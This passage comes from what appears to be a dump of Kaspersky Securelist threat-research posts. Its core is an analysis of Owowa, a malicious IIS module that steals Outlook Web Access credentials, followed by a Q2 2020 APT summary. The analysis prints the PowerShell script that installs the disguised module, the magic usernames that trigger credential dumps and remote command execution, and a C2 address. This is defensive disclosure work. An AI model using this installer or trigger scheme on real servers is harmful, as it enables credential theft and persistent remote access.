promised, some of the best questions asked during the webinar will be awarded with a prize from the GReAT Team. The winning questions are: \n"Are there any hacker for hire groups that are at the very top level? How many hackers-for-hire groups do you see? Are there any hacker for hire groups coming out of the west?" \n"Can you expand on how you identify a genotype and determine that it is unique?"\n\nWe will contact those who submitted these questions shortly.\n\nFeel free to follow us on Twitter and other social networks for updates, and feel free to reach out to us to discuss interesting topics.\n\nOn Twitter:\n\n * Costin Raiu: @craiu\n * Kurt Baumgartner: @k_sec\n * Denis Legezo: @legezo\n * Dan Demeter: @_xdanx\n * Marco Preuss: @marco_preuss\n * Yury Namestnikov: @SomeGoodOmens", "cvss3": {}, "published": "2020-07-15T10:00:13", "type": "securelist", "title": "GReAT Ideas follow-up", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-07-15T10:00:13", "id": "SECURELIST:F05591B26EFD622E6C72E180A7A47154", "href": "https://securelist.com/great-ideas-follow-up/97816/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-12-14T10:37:08", "description": "\n\nWhile looking for potentially malicious implants that targeted Microsoft Exchange servers, we identified a suspicious binary that had been submitted to a multiscanner service in late 2020. Analyzing the code, we determined that the previously unknown binary is an [IIS](<https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview>) module, aimed at stealing credentials and enabling remote command execution from [OWA](<https://docs.microsoft.com/en-us/Exchange/clients/outlook-on-the-web/outlook-on-the-web?view=exchserver-2019>). We named the malicious module 'Owowa', and identified several compromised servers located in Asia.\n\n## Meet Owowa, the IIS module you don't want\n\nOwowa is a C#-developed .NET v4.0 assembly that is intended to be loaded as a module within an IIS web server that also exposes Exchange's Outlook Web Access (OWA). When loaded this way, Owowa will steal credentials that are entered by any user in the OWA login page, and will allow a remote operator to run commands on the underlying server.\n\nThe malicious module was most likely compiled between late 2020 and April 2021. The assembly default "LegalCopyright" field shows "2020" as a date, and the most recent Owowa sample we could find was detected in April 2021 in our telemetry. The assembly contains a reference to a debugging database (PDB) in its "File" property, and its public key token is set to "b07504c8144c2a49".\n\nWe determined that Owowa is intended to be launched as an IIS module because the only relevant code is placed in the class ExtenderControlDesigner, which implements an IIS-specific interface ([IHttpModule](<https://docs.microsoft.com/en-us/previous-versions/aspnet/bb398986\\(v=vs.100\\)>)). Owowa is specifically designed to inspect HTTP requests and responses by hooking the PreSendRequestContent event. This event is supposedly raised when a web application of IIS is about to send content to the client (but according to Microsoft, such an event should never be used in an IHttpModule instance because it is likely to [cause an application or server crash](<https://docs.microsoft.com/en-us/dotnet/api/system.web.httpapplication.presendrequestcontent?view=netframework-4.0>)).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161817/Owowa_module_02.png>)\n\n**_Malicious HTTP module definition_**\n\nWe determined that Owowa is specifically targeting OWA applications of Exchange servers because its code is purposely ignoring requests from OWA-specific [monitoring of account names](<https://techcommunity.microsoft.com/t5/exchange-team-blog/exchange-2013-2016-monitoring-mailboxes/ba-p/611004>) that start with the HealthMailbox string.\n\nThe malicious module is actually designed to log credentials of users that successfully authenticated on the OWA authentication web page. Successful authentication is verified by checking that the OWA application is sending an authentication token back to the user. If that's the case, the username, password, user's IP address and current timestamp are stored in a file at C:\\Windows\\Temp\\af397ef28e484961ba48646a5d38cf54.db.ses. Data are encrypted using the RSA algorithm, with a [hardcoded public key stored as an XML blob](<https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rsa.toxmlstring?view=netframework-4.0#remarks>):\n \n \n <RSAKeyValue><Modulus>vTxV8wUJ0PoO2yu/Pm/aICbsT+nFwHXouNo623VIVMl6LY4R96a8cpMTHw92rs0foNcVJB8/SYQvL/6Ko9aOv1K3mm3Txa3Dfe6CmDjFb1wYoVJQ+wLksgd/MfMGXWK2rIuNTpUs1+UT1K+TNFSBAYTiiLAPczCmKkh6vcLO9iE=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>\n\nA malicious operator can interact with Owowa by entering specifically crafted commands within the username and password fields in the OWA authentication page of a compromised server. Owowa will respond to these commands through the IIS server, and display the results to the operator, instead of the expected OWA login error messages:\n\n * if the OWA username is jFuLIXpzRdateYHoVwMlfc, Owowa will return the encrypted credentials log, encoded in base64;\n * if the OWA username is Fb8v91c6tHiKsWzrulCeqO, the malicious module deletes the content of the encrypted credentials log, and returns the OK string (encrypted using RSA);\n * If the OWA username is dEUM3jZXaDiob8BrqSy2PQO1, Owowa executes the command that is typed in the OWA password field using PowerShell on the compromised server. The result of the command is encrypted (as previously described) and returned to the operator.\n\nOwowa contains an empty and unused additional assembly, stored as a compressed resource, as well as an additional AssemblyLoader class from a Costura namespace. These are most likely the result of using the [Fody](<https://github.com/Fody/Home/>) bytecode weaving tool and its [Costura](<https://github.com/Fody/Costura>) add-in from the build chain of Owowa's developer. Fody allows .NET developers to dynamically add features to assemblies at compilation time by weaving, or dynamically modifying the assembly bytecode. In particular, Costura is aimed at packaging dependencies, by adding these dependencies as compressed resources to the assembly. These Costura by-products could either be left-overs from the developer's build chain or an obfuscation attempt that is still being developed, since Owowa's malicious code could potentially be hidden as a compressed resource within a Costura-built assembly.\n\n## IIS modules management: loading, finding and getting rid of Owowa\n\nOwowa is loaded (for all compatible applications run by a given IIS server, including OWA) by the following PowerShell script:\n \n \n [System.Reflection.Assembly]::Load('System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a');\n $publish = New-Object System.EnterpriseServices.Internal.Publish;\n $name = (Get-Item PATH\\ExtenderControlDesigner.dll).FullName;\n $publish.GacInstall($name);\n $type = 'System.Web.Extensions.Resource.ExtenderControlDesigner,' + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName;\n Appcmd.exe add module /name:ExtenderControlDesigner /type:\"$type\"\n\nThe module is first registered in the global assembly cache, and can then be loaded by the IIS server that is running the OWA application. This setup technique is very reminiscent of one previously used by an unknown threat actor and [described by RSA](<https://community.rsa.com/t5/netwitness-blog/exchange-exploit-case-study-cve-2020-0688/ba-p/517916>) in March 2020 as part of an incident investigation that also involved malicious HTTP modules.\n\nMalicious IIS modules, and Owowa in particular, can be identified by using the command appcmd.exe or the IIS configuration tool, which lists all the loaded modules on a given IIS server instance:\n \n \n C:\\Windows\\System32\\inetsrv>appcmd.exe list modules | findstr ExtenderControl\n MODULE \"ExtenderControlDesigner\" ( type:System.Web.Extensions.Resource.ExtenderControlDesigner,ExtenderControlDesigner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b07504c8144c2a49, preCondition: )\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161922/Owowa_module_06.png>)\n\n**_Malicious module in the IIS configuration manager_**\n\n## Owowa victims\n\nWe identified a cluster of targets in Asia with compromised servers in Malaysia, Mongolia, Indonesia and the Philippines. Most of them belong to government organizations, except for one that belongs to a government-owned transportation company.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162008/Owowa_module_07.png>)\n\n**_Geography of Owowa targets_**\n\nWhile we did not discover further compromised servers, we assess with medium to high confidence that additional organizations may also have been targeted in Europe, based on additional data that we provided to customers of our threat intelligence services and that we cannot publicly disclose.\n\n## Attribution\n\nWe couldn't find any link between Owowa and any known threat actor, due to insufficient data regarding Owowa's deployment. However, the developer behind Owowa failed to remove the PDB paths in the two identified samples, which both start with C:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\, suggesting a specific username.\n\nSearching for potentially related resources, we identified a Keybase account sharing the same user name \u2013 s3crt \u2013 with the aforementioned PDB paths. Notably, it shares offensive tools, such as Cobalt Strike and Core Impact:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162053/Owowa_module_05.png>)\n\n**_s3crt Keybase account_**\n\nThe same username also exists as an account on RAID Forums, demonstrating an interest in Core Impact, a popular penetration testing software suite:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161718/Owowa_module_01.png>)\n\n| \n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162313/Owowa_module_03.png>) \n \n---|--- \n \n**_s3crt RAID Forums account_**\n\nFinally, we identified a blog profile on CSDN displaying both the s3crt and z7ys as usernames (the blog title is "z7ys'_s3crt_CSDN\u535a\u5ba2-XSS\u9886\u57df\u535a\u4e3b"). The user shows an interest in hacking techniques and distributes files that supposedly contain leaked Cobalt Strike source code, dating to November 2018:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162347/Owowa_module_04.png>)\n\n**_s3crt CSDN account[1]_**\n\nLeveraging these clues, the PDB paths and corresponding username, we identified several additional malicious binary files that may have been developed or packaged by the same developer:\n\n * A binary loader (MD5: [D4BDFB90D9AA6D573F3FF3A755E2E630](<https://opentip.kaspersky.com/D4BDFB90D9AA6D573F3FF3A755E2E630/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)) containing a PDB path that shares a common root with Owowa's: C:\\Users\\S3crt\\source\\repos\\Shellcode_inject\\Release\\artifact32.pdb.\n\nThis binary was submitted to a multiscanner service in September 2021, but was first spotted in the wild in August 2020. It is designed to decode (XOR) and execute an embedded shellcode. The shellcode was downloading a malicious payload from the IP 150.109.111[.]208 in August 2020. The server was not serving such a payload at the time of our investigation, though based on our telemetry we assume with high confidence it was related to Cobalt Strike;\n\n * We identified another similar binary loader (MD5: [3C5654DDD7998AE39717F7E3D079BD93](<https://opentip.kaspersky.com/3C5654DDD7998AE39717F7E3D079BD93/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)), first spotted in August 2020, that supposedly also loaded a Cobalt Strike-like payload from 150.109.111[.]208 in August 2020;\n\n * Finally, we identified an additional binary loader (MD5: [3](<https://opentip.kaspersky.com/3DB7101794CB166CA672814728F4E8D7/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)[DB7101794CB166CA672814728F4E8D7](<https://opentip.kaspersky.com/3DB7101794CB166CA672814728F4E8D7/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)) that was detected in March 2021 connecting to the domain s3crt[.]biz that also triggered execution of Cobalt Strike payloads. The loader's PDB is C:\\Users\\Administrator\\source\\repos\\Artifact\\x64\\Aritfact_big\\Artifact.pdb, which is similar in structure to those involving s3crt.\n\nIt should be noted that the s3crt username is a simple derivation of the English word "secret" and could very well be used by multiple individuals. Hence, we cannot be certain that the identified accounts and files are actually linked to the developer of Owowa or related to each other. However, the combination of corresponding usernames, PDB paths, projects names and interests in malicious tools or tactics are notable.\n\n## Conclusion\n\nThe malicious module described in this post represents an effective option for attackers to gain a strong foothold in targeted networks by persisting inside an Exchange server. For malicious operators there are several benefits:\n\n * An IIS module stays persistent on a compromised system even to a Exchange software update;\n * Malicious capabilities can easily be triggered by directly sending seemingly innocuous requests to exposed web services - in this case, authentication requests to OWA. Malicious requests like this can be difficult to detect with network monitoring;\n * IIS modules are not a common format for backdoors, especially when compared to typical web application threats like web shells and can therefore easily be missed during standard file monitoring efforts;\n * The attacker can leverage the module to passively steal credentials from users that legitimately access web services, which presents a stealthier alternative to sending phishing emails.\n\nUnfortunately, we were unable to retrieve enough data to associate the discovered malicious module with any infection chain or post-infection activities. Earlier this year, the ProxyLogon vulnerabilities demonstrated the impact of Exchange server compromise, as well as how quickly threat actors are able to jump on the bandwagon to leverage critical flaws and pursue their goals. It's possible that malicious operators leveraged these server vulnerabilities to initially deploy Owowa.\n\nWhile showing creativity in Owowa's development, the creator ignored explicit warnings from Microsoft regarding several risky development practices for HTTP modules, which may result in server crashes. Moreover, sensitive information on the development environment (PDB paths, Fody by-products) remained in publicly available samples. Further samples or online profiles can be weakly linked to this kind of information.\n\nThe operators behind Owowa demonstrated an interest in government organizations in Asia and specifically South-East Asia. Such targeting may fit a threat actor seeking to gather intelligence on ASEAN's agenda and member states' foreign policies. However, the practices exhibited by what is likely an inexperienced developer don't appear to correspond with such strategic targeting.\n\n## Indicators of Compromise\n\n**Owowa:** \naf6507e03e032294822e4157134c9909 \nea26bed30da01f5d81c3d96af59424acf2fbb14b \n8e1e0ddeb249b9f8331b1562498d2cbd9138ec5e00c55a521d489e65b7ef447d\n\n**Possibly related malicious loaders:** \nd4bdfb90d9aa6d573f3ff3a755e2e630 \n2e5a752f8d1c3b0ba819381c4539006d40692ee9 \ndac4c2e5318bf0feca535b2116bd48e72d8f36ff7ec8f3bd176fd7e57bd37fc1\n\n3c5654ddd7998ae39717f7e3d079bd93 \n8429a32acfed3f010502a5b88199cc0367f92fd7 \n54fecd3227a435c17463f543eacdb7482fc7b2fde4db1d12d16aab94dfdf4085\n\n3db7101794cb166ca672814728f4e8d7 \nf8b5d7370b56e127449760701b97bf8f43d16852 \nf167279c692a14fee15bb1f8eb8a9b6edd43cf74d2b590b27129fd69e6b3de88\n\n**PDB Paths:** \nC:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\obj\\Release\\ExtenderControlDesigner.pdb \nC:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\obj\\Release\\ClassLibrary2.pdb \nC:\\Users\\S3crt\\source\\repos\\Shellcode_inject\\Release\\artifact32.pdb \nC:\\Users\\Administrator\\source\\repos\\Artifact\\x64\\Aritfact_big\\Artifact.pdb\n\n**Possibly related Cobalt Strike C2:** \n150.109.111[.]208\n\n**Possibly related suspicious domain:** \ns3crt[.]biz\n\n[1] Note that the picture used in the profile is of a martial art practitioner and is unrelated.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-14T10:00:39", "type": "securelist", "title": "Owowa: the add-on that turns your OWA into a credential stealer and remote access panel", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-14T10:00:39", "id": "SECURELIST:67C82A057DBE22C60DC2677D52D52ECD", "href": "https://securelist.com/owowa-credential-stealer-and-remote-access/105219/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-08-07T08:03:43", "description": "\n\nFor more than three years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q2 2020.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact '[intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>)'.\n\n## **The most remarkable findings**\n\nOn May 11, the UK-based supercomputing center, ARCHER, announced that it would shut down access to its network while it investigated a security incident. The website stated that the "ARCHER facility is based around a Cray XC30 supercomputer (with 4920 nodes) that provides the central computational resource". At the same time, the German-based bwHPC also announced a security incident and decided to restrict access to its resources. The Swiss National Supercomputing Centre, at the time involved in a project to study the small membrane protein of the coronavirus, confirmed that it, and other European high-performance computer facilities, had been attacked and that it had temporarily closed. On May 15, the EGI Computer Security and Incident Response Team (EGI-CSIRT) published an alert covering two incidents that, according to its report, may or may not be related. Both incidents describe the targeting of academic data centers for "CPU mining purposes". The alert includes a number of IoCs, which complement other OSINT (open-source intelligence) observations. Although we weren't able to establish with a high degree of certitude that the ARCHER hack and the incidents described by EGI-CSIRT are related, we suspect they might be. Some media speculated that all these attacks might be related to COVID-19 research being carried out at the supercomputing centers.\n\nInterestingly, last July 16th 2020, NCSC [published](<https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf>) an advisory describing malicious activity targeting institutions related to research to find a vaccine for COVID-19. In this case, the malware used in the attacks belongs to a family called WellMess, as [originally described](<https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf>) by LAC Co back in 2018. Until recently, this malware was not believed to be related to any APT activity. Surprisingly, NCSC attributes this activity to the APT-29 threat actor. However, it does not provide any public proof.\n\nFrom our own research, we can confirm that WellMess's activity seems to follow a cycle, being used in campaigns every three months or so since its discovery. We observed a peak of activity in fall of 2019, followed by an increase in the number of C2s in February 2020. We also observed high-profile targeting, including telcos, government and contractors in MENA and the EU. However, from our side we cannot confirm attribution or targeting of health institutions at the moment.\n\nFor more details about WellMess, you can check our presentation from GReAT ideas here: <https://youtu.be/xeTYLRCwnFo>\n\n## **Russian-speaking activity**\n\nIn May, researchers at Leonardo published a report about "Penquin_x64", a previously undocumented variant of Turla's Penquin GNU/Linux backdoor. Kaspersky has publicly documented the Penquin family, tracing it back to its Unix ancestors in the Moonlight Maze operation of the 1990s. We followed up on this latest research by generating network probes that detect Penquin_x64 infected hosts at scale, allowing us to discover that tens of internet hoster's servers in Europe and the US are still compromised today. We think it's possible that, following public disclosure of Turla's GNU/Linux tools, the Turla threat actor may have been repurposing Penquin to conduct operations other than traditional intelligence.\n\nIn June, we discovered two different domain names, "emro-who[.]in" and "emro-who[.]org", typo-squatting the World Health Organization (WHO) Regional Office for the Eastern Mediterranean (EMRO). These domains, registered on June 21 using the Njalla.no registrar, seem to be used as sender domains for a spear-phishing campaign. This type of typo-squatting is reminiscent of Sofacy campaigns against other international organizations. Moreover, we have seen Njalla.no recently used to register SPLM and XTUNNEL C2 (command-and-control) servers and we have seen this autonomous system used by Sofacy in the past for a SPLM C2.\n\nHades is an elusive, highly dynamic threat actor that commonly engages in tailored hacking and special access operations, such as the [OlympicDestroyer](<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>) attack or the [ExPetr](<https://securelist.com/schroedingers-petya/78870/>) (aka NotPetya) and Badrabbit attacks. On May 28, the US National Security Agency (NSA) [published an alert](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2196511/exim-mail-transfer-agent-actively-exploited-by-russian-gru-cyber-actors/>) detailing the use by Hades of an Exim vulnerability (CVE-2019-10149) for what appears to be a potentially large hacking operation designed for mass access. Our own report expanded on the scripts used in this operation, as well as providing other IoCs that we discovered.\n\n## **Chinese-speaking activity**\n\nIn late 2019, and again in March this year, we described ongoing malicious activities from a previously unknown threat actor that we named [Holy Water](<https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/>). Holy Water notably leveraged a Go language and Google Drive-command-driven implant that we dubbed Godlike12. Following the publication of our report, and notifications to relevant incident response organizations, new Holy Water samples were submitted to VirusTotal. The newly discovered samples include Telegram-controlled and open-source-based Python implants that were probably deployed on the victim's networks after a successful intrusion.\n\nIn March, one of our YARA rules from previous research on ShadowPad attacks detected a recently compiled executable file uploaded to VirusTotal. Later we found a few other samples from our own telemetry. ShadowPad is a modular attack platform consisting of a root module and various plugin modules responsible for diverse functionalities. ShadowPad was first discovered by Kaspersky in 2017. In August of that year, one of our customers detected suspicious network activities. After thorough investigation, we found a legitimate software module that had been compromised and backdoored by an advanced threat actor in a sophisticated software supply-chain attack. We notified the software vendor and also [published the outcome of our investigations in a technical white paper](<https://securelist.com/shadowpad-in-corporate-networks/81432/>). Since then, ShadowPad malware has been deployed in a number of major cyberattacks, with a different subset of plugins used in different attack cases: the CCleaner incident in 2017 and the [ShadowHammer ](<https://securelist.com/operation-shadowhammer/89992/>)attacks in 2018 are the major examples of such attacks.\n\nWhen analyzing new samples from ShadowPad malware, compiled and used in attacks since late 2019, our investigation revealed a strong connection between these recent ShadowPad malware samples and the CactusPete threat actor. CactusPete started deploying ShadowPad malware to a few victims at the beginning of 2019 through its HighProof backdoor. However, since late 2019, ShadowPad has been commonly used in CactusPete attacks.\n\nThis quarter, we described another CactusPete attack campaign which started in December 2019 In this campaign, the CactusPete threat actor used a new method to drop an updated version of the DoubleT backdoor onto the computers. The attackers implanted a new dropper module in the Microsoft Word Startup directory, most likely through a malicious document. This malicious dropper is responsible for dropping and executing a new version of the DoubleT backdoor, which utilizes a new method of encrypting the C2 server address.\n\nWhile analysing compromised machines in Central Asia, we revealed an additional infection that was unrelated to the initial subject of our investigation. This led us to detect previously unknown malware that we dubbed B&W, which provides an attacker with the capabilities to remotely control a victim's machine. Further analysis of the samples, infrastructure and other related artefacts allowed us to conclude, with medium confidence, that the newly found malware is related to the SixLittleMonkeys APT. This group is known to have been active for several years, targeting government entities in Central Asia.\n\nHoneyMyte is an APT threat actor that we have been tracking for several years. In February, our fellow researchers at Avira blogged about HoneyMyte PlugX variants that they had recently observed targeting Hong Kong. PlugX has been used by multiple APT groups over the past decade, especially shared among Chinese-speaking threat actors, and has changed in many ways. Avira\u00b4s post covers the PlugX loader and backdoor payload, including its USB capabilities. In May, we published an update on this threat actor, specifically providing timely indicators to aid in threat hunting for some of the PlugX variants found in the wild between January and May this year.\n\nIn May, we discovered a watering hole on the website of a Southeast Asian top official. This watering hole, set up in March, seemed to leverage whitelisting and social engineering techniques to infect its targets. The final payload was a simple ZIP archive containing a readme file prompting the victim to execute a CobaltStrike implant. The mechanism used to execute CobaltStrike was DLL side-loading, which decrypted and executed a CobaltStrike stager shellcode. Analysis of the code, the infrastructure and the victimology led us to attribute this watering-hole, with high confidence, to the HoneyMyte APT threat actor.\n\nQuarian is a little-known malicious program that Chinese-speaking actors have used since around 2012. We hadn't spotted any further activity until we observed a resurgence in an attack by the Icefog group in 2019. We tracked the activity of the malware following this and noticed a new variant that was used during several attacks on Middle Eastern and African governments during 2020. In one case, we could see that this variant was deployed following exploitation of the CVE-2020-0688 vulnerability on the network of a government entity. This vulnerability, which was publicly reported in February 2020, allows an authenticated user to run commands as SYSTEM on a Microsoft Exchange server. In this case, the server was indeed compromised and was hosting the ChinaChopper webshell, which was used to obtain, and later launch, the Quarian and PlugX backdoors. Our analysis led us to assume, with medium to high confidence, that the group behind these attacks is one we track under the name CloudComputating - a Chinese-speaking actor that, based on previous reports, has targeted high-profile Middle Eastern diplomatic targets.\n\nIn March, researchers at Check Point Research published a [report](<https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/>) describing an APT campaign that targeted Mongolia's public sector and leveraged a coronavirus-themed lure to conduct its initial intrusion. We were able to discover further samples and another COVID-themed document with the same targeting, as well as additional targets in Russia. We attribute this activity with medium confidence to IronHusky.\n\n## **Middle East**\n\nThe MuddyWater APT was discovered in 2017 and has been active in the Middle East ever since. In 2019, we reported activity against telecoms providers in Iraq and Iran, as well as government bodies in Lebanon. We recently discovered MuddyWater using a new C++ toolchain in a new wave of attacks in which the actor leveraged an open-source utility called Secure Socket Funneling for lateral movement.\n\nAt the end of May, we observed that Oilrig had included the DNSExfitrator tool in its toolset. It allows the threat actor to use the DNS over HTTPS (DoH) protocol. Use of the DNS protocol for malware communications is a technique that Oilrig has been using for a long time. The difference between DNS- and DoH-based requests is that, instead of plain text requests to port 53, they would use port 443 in encrypted packets. Oilrig added the publicly available DNSExfiltrator tool to its arsenal, which allows DoH queries to Google and Cloudflare services. This time, the operators decided to use subdomains of a COVID-related domain which are hardcoded in the DNSExfitrator detected samples.\n\n## **South\u0435ast Asia and Korean Peninsula**\n\nBlueNoroff is one of the most prolific financially motivated APT actors and we have published several reports of BlueNoroff campaigns targeting financial institutions. Recently, we uncovered another campaign that has been active since at least 2017. In this campaign, the group sends spear-phishing emails containing an archived Windows shortcut file. The file names are disguised as security or cryptocurrency related files in order to entice users into executing them. The infection chain started from this shortcut file is a complex multi-stage infection procedure. Before delivering the Windows executable payload, the actor uses two VBS and three PowerShell scripts in order to collect system information. The actor very carefully delivers the final payload only to the intended targets. The backdoor payload also utilizes a multi-stage infection procedure. The actor uses it to control infected hosts and implants additional malware for surveillance. These malicious programs are responsible for stealing the user's keystrokes and saving a screenshot of the infected machine. The main targets of this campaign are financial institutions, such as cryptocurrency businesses, and fintech companies. We identified diverse victims from 10 countries, as well as more potential victims from open source intelligence.\n\nThe Lazarus group has been a major threat actor for several years. Alongside goals like cyber-espionage and cyber-sabotage, this threat actor has targeted banks and other financial companies around the globe. The group continues to be very active. We recently observed the Lazarus group attacking a software vendor in South Korea using Bookcode, malware that we evaluate to be a Manuscrypt variant, utilizing a watering-hole attack to deliver it. Manuscrypt is one of the Lazarus group's tools that is actively being updated and used. The group attacked the same victim twice. Almost a year prior to compromising this victim, Lazarus attempted to infect it by masquerading as a well-known security tool, but failed. We were able to construct the group's post-exploitation activity, identifying various freeware and red-teaming tools used. Although Lazarus has recently tended to focus more on targeting the financial industry, we believe that in this campaign they were seeking to exfiltrate intellectual property. We also observed that they previously spread Bookcode using a decoy document related to a company working in the defense sector. Based on our observations, we evaluate that the Bookcode malware is being used exclusively for cyber-espionage campaigns.\n\nIn April, we released an early warning about the VHD ransomware, which was first spotted in late March. This ransomware stood out because of its self-replication method. The use of a spreading utility compiled with victim-specific credentials was reminiscent of APT campaigns, but at the time we were unable to link the attack to an existing group. However, Kaspersky was able to identify an incident in which the VHD ransomware was deployed, in close conjunction with known Lazarus tools, against businesses in France and Asia. This indicates that Lazarus is behind the VHD ransomware campaigns that have been documented so far. As far as we know, this is also the first time it has been established that the Lazarus group has resorted to targeted ransomware attacks for financial gain.\n\nLast year we created a private report on a malware framework that we named MATA, which we attribute, with low confidence, to the Lazarus group. This framework included several components, such as a loader, orchestrator and plug-ins. Initially, this framework targeted Windows and Linux. However, in April we discovered a suspicious macOS file uploaded to VirusTotal using a rule to detect the MATA malware framework. After looking into this malware, we confirmed that it was a macOS variant of the MATA malware. The malware developers Trojanized an open-source two-factor authentication application and utilized another open-source application template. While investigating, to find more solid evidence for attribution, we found an old Manuscrypt strain that used a similar configuration structure. We also discovered a cluster of C2 servers probably related to this campaign.\n\nThe MATA framework was not the only way that Lazarus targeted macOS. We also observed a cluster of activity linked to [Operation ](<https://securelist.com/operation-applejeus-sequel/95596/>)[AppleJeus](<https://securelist.com/operation-applejeus-sequel/95596/>). The other was similar to the macOS malware used in a campaign that we call TangDaiwbo. This is a multi-platform cryptocurrency exchange campaign: Lazarus utilizes macro-embedded Office documents and spreads PowerShell or macOS malware, depending on the victim's system.\n\nEarly this year, we reported improvements in a Lazarus campaign targeting a cryptocurrency business. In this campaign, Lazarus adopted a downloader that sends compromised host information and selectively fetches the next-stage payload. Recently, we identified a Lazarus campaign with similar strategies, but targeting academic and automotive sectors. Lazarus also adopted new methods to deliver its tools. First of all, the group elaborated its weaponized document by adopting remote template injection techniques. Previously, Lazarus delivered macro-embedded documents to the victim, but the group has now applied one more stage to hinder detection. The group also utilized an open-source PDF reader named Sumatra PDF to make Trojanized applications. They created a Trojanized PDF reader, sending it to the victim with a crafted PDF file. If the victim opens this file, the Trojanised PDF viewer implants malicious files and shows decoy documents to deceive the victim. The actor delivers the final payload very carefully, and executes it in memory. Fortunately, we were able to get the final payload and confirm that it was a Manuscrypt variant that we had already described. We also found that it's the same malware variant that the US CISA (Cybersecurity and Infrastructure Security Agency) recently reported, named COPPERHEDGE.\n\nFollowing our report describing the long-standing [PhantomLance](<https://securelist.com/apt-phantomlance/96772/>) campaign in Southeast Asia, we published a private report providing detailed attribution based on discovered overlaps with reported campaigns of the OceanLotus APT. In particular, we found multiple code similarities with the previous Android campaign, as well as similarities in macOS backdoors, infrastructure overlap with Windows backdoors and a couple of cross-platform resemblances. Based on our research, we believe, with medium confidence, that PhantomLance is a modern Android campaign conducted by OceanLotus. Apart from the attribution details, we described the actor's spreading strategy using techniques to bypass app market filters. We also provided additional details about samples associated with previously reported suspected infrastructure, as well as the latest sample deployed in 2020 that uses Firebase to decrypt its payload.\n\nAdditionally, OceanLotus has been using new variants of its multi-stage loader since the second half of 2019. The new variants use target-specific information (username, hostname, etc.) of the targeted host that they obtained beforehand, in order to ensure their final implant is deployed on the right victim. The group continues to deploy its backdoor implant, as well as Cobalt Strike Beacon, configuring them with updated infrastructure.\n\n## **Other interesting discoveries**\n\nThe Deceptikons APT is a long-running espionage group believed to have been providing mercenary services for almost a decade now. The group is not technically sophisticated and has not, to our knowledge, deployed zero-day exploits. The Deceptikons infrastructure and malware set is clever, rather than technically advanced. It is also highly persistent and in many ways reminds us of WildNeutron. Deceptikon's repeated targeting of commercial and non-governmental organizations is somewhat unusual for APT actors. In 2019, Deceptikons spear-phished a set of European law firms, deploying PowerShell scripts. As in previous campaigns, the actor used modified LNK files requiring user interaction to initially compromise systems and execute a PowerShell backdoor. In all likelihood, the group's motivations included obtaining specific financial information, details of negotiations, and perhaps even evidence of the law firms' clientele.\n\nMagicScroll (aka AcidBox) is the name we've given to a sophisticated malware framework, whose main purpose is to decrypt and load an arbitrary payload in kernel mode. The framework consists of several stages. The first stage is a Windows security provider that is loaded by the system on boot and executed in user mode. This decrypts and runs a second payload, which is physically stored in the registry. Although we weren't able to find a victim with this second stage, we were able to find a file that matches the expected format of the second stage. This second stage payload utilizes a well-known vulnerability in a VirtualBox driver (CVE-2008-3431) to load the third stage, which is designed to run in kernel mode. The kernel mode payload is decrypted from a resource from the second stage, using the key retrieved from the registry. Unfortunately, we couldn't find a decryption key to decrypt the third stage payload, so we don't know what 